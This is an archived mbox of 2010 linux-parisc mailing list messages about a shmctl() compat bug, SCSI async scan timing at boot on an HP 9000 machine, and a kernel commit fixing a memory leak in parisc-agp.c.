More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: shmctl() broken on 64bit kernel
Date: Fri, 15 Oct 2010 17:16:53 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20101015211653.GL8332@bombadil.infradead.org>
References: <4CB8C1E5.2090609@steuerkanzlei-deller.de>
 <20101015211227.GK8332@bombadil.infradead.org>
 <4CB8C47A.4090507@steuerkanzlei-deller.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287177429 24981 80.91.229.12 (15 Oct 2010 21:17:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Oct 2010 21:17:09 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Helge Deller <helge.deller@steuerkanzlei-deller.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 15 23:17:07 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P6re7-0001bC-7j
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Oct 2010 23:16:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756624Ab0JOVQy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Oct 2010 17:16:54 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36266 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756613Ab0JOVQy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Oct 2010 17:16:54 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1P6re1-0008Le-Ag; Fri, 15 Oct 2010 21:16:53 +0000
Content-Disposition: inline
In-Reply-To: <4CB8C47A.4090507@steuerkanzlei-deller.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3129
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3129>

On Fri, Oct 15, 2010 at 11:15:38PM +0200, Helge Deller wrote:
>  On 10/15/2010 11:12 PM, Kyle McMartin wrote:
> >On Fri, Oct 15, 2010 at 11:04:37PM +0200, Helge Deller wrote:
> >>  32bit shmctl() syscall is broken on the 64bit parisc kernel.
> >>
> >Have you had a chance to look at the patch you posted a few weeks ago
> >about the SHM_INFO breakage? I suspect it fixes this as well?
> >
> >I think plucking the sparc64 or ppc64 structs should be ok, I don't
> >think there's any alignment differences offhand.
> 
> heh - I completely forgot I did sent the patch that time.... :-)
> Anyway, no I didn't tested further yet (due to lack of time).
> 

Ok, I'll look at it over the weekend.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Ludvig <mludvig@logix.net.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: scsi_wait_scan doesn't wait
Date: Tue, 19 Oct 2010 16:27:43 +1300
Lines: 116
Approved: news@gmane.org
Message-ID: <4CBD102F.2040705@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287459917 6194 80.91.229.12 (19 Oct 2010 03:45:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Oct 2010 03:45:17 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 19 05:45:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P838S-00071x-0Q
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Oct 2010 05:45:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754425Ab0JSDpK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Oct 2010 23:45:10 -0400
Original-Received: from maxipes.logix.cz ([93.89.80.122]:49815 "EHLO maxipes.logix.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753507Ab0JSDpK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Oct 2010 23:45:10 -0400
X-Greylist: delayed 1040 seconds by postgrey-1.27 at vger.kernel.org; Mon, 18 Oct 2010 23:45:09 EDT
Original-Received: from [IPv6:2001:4428:24a:130::100] (unknown [IPv6:2001:4428:24a:130::100])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by maxipes.logix.cz (Postfix) with ESMTP id 469D65B42F3
	for <linux-parisc@vger.kernel.org>; Tue, 19 Oct 2010 16:26:23 +1300 (NZDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.2.9) Gecko/20100914 SUSE/3.1.4 Lightning/1.0b2 Thunderbird/3.1.4
X-Enigmail-Version: 1.1.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3130>

 Hi there,

I'm having a problem with 2.6.36-rc8+ on HP PARISC machine (HP 9000
RP3410) where I intend to wait for SCSI enumeration during boot before
LVM2 kicks in and attempts to activate the root volume. I modprobe
scsi_wait_scan in the initramdisk before lvm2 script is run. However the
modprobe doesn't wait. I'm on Debian testing, fwiw.

[...]
[    2.368000] Freeing unused kernel memory: 252k freed
Loading, please wait...
[    3.028000] udev: starting version 160
[    4.104000] SCSI subsystem initialized
[    4.592000] sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 69
[    4.668000] sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    4.700000] sym0: SCSI BUS has been reset.
[    4.708000] scsi0 : sym-2.2.3
[    4.868000] sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 70
[    4.868000] sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    4.904000] sym1: SCSI BUS has been reset.
[    4.908000] scsi1 : sym-2.2.3
[    5.068000] sym2: <1010-66> rev 0x1 at pci 0000:80:01.0 irq 72
[    5.072000] sym2: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    5.108000] sym2: SCSI BUS has been reset.
[    5.112000] scsi2 : sym-2.2.3
[    5.276000] sym3: <1010-66> rev 0x1 at pci 0000:80:01.1 irq 73
[    5.276000] sym3: No NVRAM, ID 7, Fast-80, LVD, parity checking
[    5.312000] sym3: SCSI BUS has been reset.
[    5.316000] scsi3 : sym-2.2.3
Begin: Loading essential drivers ... done.
Begin: Running /scripts/init-premount ... SCSI: Waiting to settle...

######### here comes modprobe scsi_wait_scan #########

SCSI: done
done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top
... [    6.496000] device-mapper: uevent: version 1.0.3
[    6.496000] device-mapper: ioctl: 4.18.0-ioctl (2010-06-29)
initialised: dm-devel@redhat.com
  Volume group "lethal" not found
  Skipping volume group lethal
Unable to find LVM volume lethal/root
done.
Begin: Waiting for root file system ... [    7.728000] scsi 0:0:0:0:
Direct-Access     HP 36.4G ST336754LC       HPC2 PQ: 0 ANSI: 3
[    7.728000] scsi target0:0:0: tagged command queuing enabled, command
queue depth 16.
[    7.728000] scsi target0:0:0: Beginning Domain Validation
[    7.740000] scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5
ns, offset 31)
[    7.748000] scsi target0:0:0: Ending Domain Validation
[    7.752000] scsi 0:0:1:0: Direct-Access     HP 36.4G MAS3367NC
 HPC3 PQ: 0 ANSI: 3
[    7.752000] scsi target0:0:1: tagged command queuing enabled, command
queue depth 16.
[    7.760000] scsi target0:0:1: Beginning Domain Validation
[    7.764000] scsi target0:0:1: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5
ns, offset 31)
[    7.772000] scsi target0:0:1: Ending Domain Validation
[   11.864000] sd 0:0:0:0: [sda] 71132960 512-byte logical blocks: (36.4
GB/33.9 GiB)
[   11.864000] sd 0:0:1:0: [sdb] 71132960 512-byte logical blocks: (36.4
GB/33.9 GiB)
[   11.868000] sd 0:0:0:0: [sda] Write Protect is off
[   11.892000] sd 0:0:1:0: [sdb] Write Protect is off
[   11.900000] sd 0:0:0:0: [sda] Write cache: enabled, read cache:
enabled, supports DPO and FUA
[   11.900000] sd 0:0:1:0: [sdb] Write cache: enabled, read cache:
enabled, supports DPO and FUA
[   11.924000]  sda: unknown partition table
[   11.940000]  sdb: sdb1 sdb2 sdb3
[   11.944000] sd 0:0:0:0: [sda] Attached SCSI disk
[   11.964000] sd 0:0:1:0: [sdb] Attached SCSI disk
done.
Gave up waiting for root device.  Common problems:
 - Boot args (cat /proc/cmdline)
   - Check rootdelay= (did the system wait long enough?)
   - Check root= (did the system wait for the right device?)
 - Missing modules (cat /proc/modules; ls /dev)
ALERT!  /dev/mapper/lethal-root does not exist.  Dropping to a shell!

Apparently /dev/sda and /dev/sdb were discovered long after
scsi_wait_scan was loaded.

Here are the relevant modules:
[...]
ext3                  203543  2
jbd                    63990  1 ext3
dm_mod                112954  9
scsi_wait_scan           983  0
zalon7xx               38131  0
lasi700                 2427  0
53c700                 39777  1 lasi700
hilkbd                  5901  0
sd_mod                 49383  3
crc_t10dif              1564  1 sd_mod
sym53c8xx             104303  2
scsi_transport_spi     34731  3 zalon7xx,53c700,sym53c8xx
scsi_mod              193802  7
libata,zalon7xx,lasi700,53c700,sd_mod,sym53c8xx,scsi_transport_spi

When I unset CONFIG_SCSI_SCAN_ASYNC it works just fine and all the disks
are found in time for LVM.

Is that a bug in the SCSI driver? Or am I doing something wrong? It's
not a recent regression, at least 2.6.35 behaves the same on that machine.

Thanks!

Michal
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: scsi_wait_scan doesn't wait
Date: Tue, 19 Oct 2010 19:04:06 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <AANLkTi=qHF8D9BZVnQK5_jo+kNLSLcTQ4OuAy3PHpU_b@mail.gmail.com>
References: <4CBD102F.2040705@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1287529456 10070 80.91.229.12 (19 Oct 2010 23:04:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Oct 2010 23:04:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Michal Ludvig <mludvig@logix.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 20 01:04:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P8LE2-00017E-T5
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Oct 2010 01:04:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756208Ab0JSXEK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Oct 2010 19:04:10 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:58367 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754960Ab0JSXEJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Oct 2010 19:04:09 -0400
Original-Received: by fxm4 with SMTP id 4so2188286fxm.19
        for <linux-parisc@vger.kernel.org>; Tue, 19 Oct 2010 16:04:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type;
        bh=XKLRYt4bKEOMkqNiE/4mMQy+w8OONY5vh8Q4MH8SjAI=;
        b=bwdqQ9QtyE4eT1JwQOnAaPBLcir0nD9KYLhu/lB+C/KU0eKnZX42CgEw9TSrcKpd1F
         Y5ix9D4P3QgkX9yLo/VuB8lxNJb25muzG8Reu3r5RoRrcKgwPCjiGfEFiQHLxbioKaq6
         4wadVe+c6U9b+/3fdXunQgzFq6glr7DLPjh+M=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=SgNh0AFblPkEE6yenWImV3RsDtPKSm+6v1OabgtD4mjc1lkCOmU1u9HiKUEsPQmsuY
         YV4Ng+0niBlXUG9Y+BkuL7XCnz4ftGMH2NzALL6CHS6vBncfyHA3vV2bDoIBMlh2f8YD
         UTQOJBe2HEOMMyL5a2MGb4FstwgbWyLuqIMVo=
Original-Received: by 10.239.160.19 with SMTP id a19mr752880hbd.56.1287529446643; Tue,
 19 Oct 2010 16:04:06 -0700 (PDT)
Original-Received: by 10.239.136.146 with HTTP; Tue, 19 Oct 2010 16:04:06 -0700 (PDT)
In-Reply-To: <4CBD102F.2040705@logix.net.nz>
X-Google-Sender-Auth: ekPEUBX3cBCJ43OMzuI7jm4-CyE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3131>

On Mon, Oct 18, 2010 at 11:27 PM, Michal Ludvig <mludvig@logix.net.nz> wrote:
> I'm having a problem with 2.6.36-rc8+ on HP PARISC machine (HP 9000
> RP3410) where I intend to wait for SCSI enumeration during boot before
> LVM2 kicks in and attempts to activate the root volume. I modprobe
> scsi_wait_scan in the initramdisk before lvm2 script is run. However the
> modprobe doesn't wait. I'm on Debian testing, fwiw.

If you're interested in helping, the best thing you could do is back
up to a kernel that works and then try to track down what commit broke
the wait scan. It's a bit tedious, but fairly easy.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Ludvig <mludvig@logix.net.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: scsi_wait_scan doesn't wait
Date: Thu, 21 Oct 2010 22:11:23 +1300
Lines: 20
Approved: news@gmane.org
Message-ID: <4CC003BB.6080900@logix.net.nz>
References: <4CBD102F.2040705@logix.net.nz> <AANLkTi=qHF8D9BZVnQK5_jo+kNLSLcTQ4OuAy3PHpU_b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287652131 696 80.91.229.12 (21 Oct 2010 09:08:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Oct 2010 09:08:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 21 11:08:49 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P8r8i-0007BL-Fp
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Oct 2010 11:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755888Ab0JUJIb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Oct 2010 05:08:31 -0400
Original-Received: from maxipes.logix.cz ([93.89.80.122]:39052 "EHLO maxipes.logix.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755831Ab0JUJIa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Oct 2010 05:08:30 -0400
Original-Received: from [IPv6:2001:e20:2000:401:21a:73ff:fee5:5006] (unknown [IPv6:2001:e20:2000:401:21a:73ff:fee5:5006])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by maxipes.logix.cz (Postfix) with ESMTP id C7D455B430D;
	Thu, 21 Oct 2010 22:07:01 +1300 (NZDT)
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.2.8) Gecko/20100802 SUSE/3.1.2 Lightning/1.0b2 Thunderbird/3.1.2
In-Reply-To: <AANLkTi=qHF8D9BZVnQK5_jo+kNLSLcTQ4OuAy3PHpU_b@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3132
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3132>

  On 10/20/2010 12:04 PM, Carlos O'Donell wrote:
> On Mon, Oct 18, 2010 at 11:27 PM, Michal Ludvig<mludvig@logix.net.nz>  wrote:
>> I'm having a problem with 2.6.36-rc8+ on HP PARISC machine (HP 9000
>> RP3410) where I intend to wait for SCSI enumeration during boot before
>> LVM2 kicks in and attempts to activate the root volume. I modprobe
>> scsi_wait_scan in the initramdisk before lvm2 script is run. However the
>> modprobe doesn't wait. I'm on Debian testing, fwiw.
> If you're interested in helping, the best thing you could do is back
> up to a kernel that works and then try to track down what commit broke
> the wait scan. It's a bit tedious, but fairly easy.
Yeah, I know. However a kernel rebuild takes nearly 2 hours on that 
machine so it may be a couple of months before I find the commit ;-) 
I'll see if I can come up with an automated process for that.

Michal
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: scsi_wait_scan doesn't wait
Date: Thu, 21 Oct 2010 21:22:10 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <4CC092E2.4090900@gmx.de>
References: <4CBD102F.2040705@logix.net.nz> <AANLkTi=qHF8D9BZVnQK5_jo+kNLSLcTQ4OuAy3PHpU_b@mail.gmail.com> <4CC003BB.6080900@logix.net.nz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287688940 13210 80.91.229.12 (21 Oct 2010 19:22:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Oct 2010 19:22:20 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Michal Ludvig <mludvig@logix.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 21 21:22:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P90iN-0007Gp-1G
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Oct 2010 21:22:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757576Ab0JUTWO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Oct 2010 15:22:14 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:48214 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1756094Ab0JUTWN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Oct 2010 15:22:13 -0400
Original-Received: (qmail invoked by alias); 21 Oct 2010 19:22:11 -0000
Original-Received: from p54AD12BD.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.18.189]
  by mail.gmx.net (mp011) with SMTP; 21 Oct 2010 21:22:11 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/haxMVXrbhj+3qoSGz6KfDxtBZ2rKDI+AfwN7sD3
	7sRK4FVCAUuTxM
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100921 Fedora/3.1.4-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.4
In-Reply-To: <4CC003BB.6080900@logix.net.nz>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3133
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3133>

  On 10/21/2010 11:11 AM, Michal Ludvig wrote:
>  On 10/20/2010 12:04 PM, Carlos O'Donell wrote:
>> On Mon, Oct 18, 2010 at 11:27 PM, Michal 
>> Ludvig<mludvig@logix.net.nz>  wrote:
>>> I'm having a problem with 2.6.36-rc8+ on HP PARISC machine (HP 9000
>>> RP3410) where I intend to wait for SCSI enumeration during boot before
>>> LVM2 kicks in and attempts to activate the root volume. I modprobe
>>> scsi_wait_scan in the initramdisk before lvm2 script is run. However 
>>> the
>>> modprobe doesn't wait. I'm on Debian testing, fwiw.
>> If you're interested in helping, the best thing you could do is back
>> up to a kernel that works and then try to track down what commit broke
>> the wait scan. It's a bit tedious, but fairly easy.
> Yeah, I know. However a kernel rebuild takes nearly 2 hours on that 
> machine so it may be a couple of months before I find the commit ;-) 
> I'll see if I can come up with an automated process for that.

Hi Michal,

I'd propose that you use a cross-compiler (i686 to hppa) instead.
Then you can TFTP-boot the built kernel from your PC.
This is what I do, and it speeds up everything a lot and it's not too 
hard to set it up.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Fri, 22 Oct 2010 01:05:16 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <201010220105.o9M15Ghv016986@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1287709528 334 80.91.229.12 (22 Oct 2010 01:05:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Oct 2010 01:05:28 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 22 03:05:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1P964N-0007vj-32
	for glpp-linux-parisc@lo.gmane.org; Fri, 22 Oct 2010 03:05:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751534Ab0JVBFS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Oct 2010 21:05:18 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:38167 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751251Ab0JVBFR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Oct 2010 21:05:17 -0400
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id o9M15GI4016987
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Fri, 22 Oct 2010 01:05:16 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.3/Submit) id o9M15Ghv016986
	for linux-parisc@vger.kernel.org; Fri, 22 Oct 2010 01:05:16 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-0.1 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Fri, 22 Oct 2010 01:05:17 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3134>

New commits:
commit 338e4fab3d41aa14264e10ce505a7c908633cdad
Author: Julia Lawall <julia@diku.dk>
Date:   Wed Oct 20 15:55:45 2010 -0700

    drivers/char/agp/parisc-agp.c: eliminate memory leak
    
    alloc_pci_dev allocates some memory, so that memory should be freed before
    leaving the function in an error case.
    
    A simplified version of the semantic match that finds this problem is:
    (http://coccinelle.lip6.fr/)
    
    // <smpl>
    @r exists@
    local idexpression x;
    expression E;
    identifier f1;
    iterator I;
    @@
    
    x = alloc_pci_dev(...);
    <... when != x
         when != true (x == NULL || ...)
         when != if (...) { <+...x...+> }
         when != I (...) { <+...x...+> }
    (
     x == NULL
    |
     x == E
    |
     x->f1
    )
    ...>
    * return ...;
    // </smpl>
    
    Signed-off-by: Julia Lawall <julia@diku.dk>
    Dan Carpenter <error27@gmail.com>
    Dave Airlie <airlied@linux.ie>
    Cc: Helge Deller <deller@gmx.de>
    Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Kyle McMartin <kyle@redhat.com>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/1] PARISC: unwind - optimise linked-list searches for
 modules
Date: Thu, 21 Oct 2010 21:12:47 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20101022011247.GM8332@bombadil.infradead.org>
References: <1284115679-23928-1-git-send-email-ext-phil.2.carmody@nokia.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1287709977 1796 80.91.229.12 (22 Oct 2010 01:12:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 22 Oct 2010 01:12:57 +0000 (UTC)
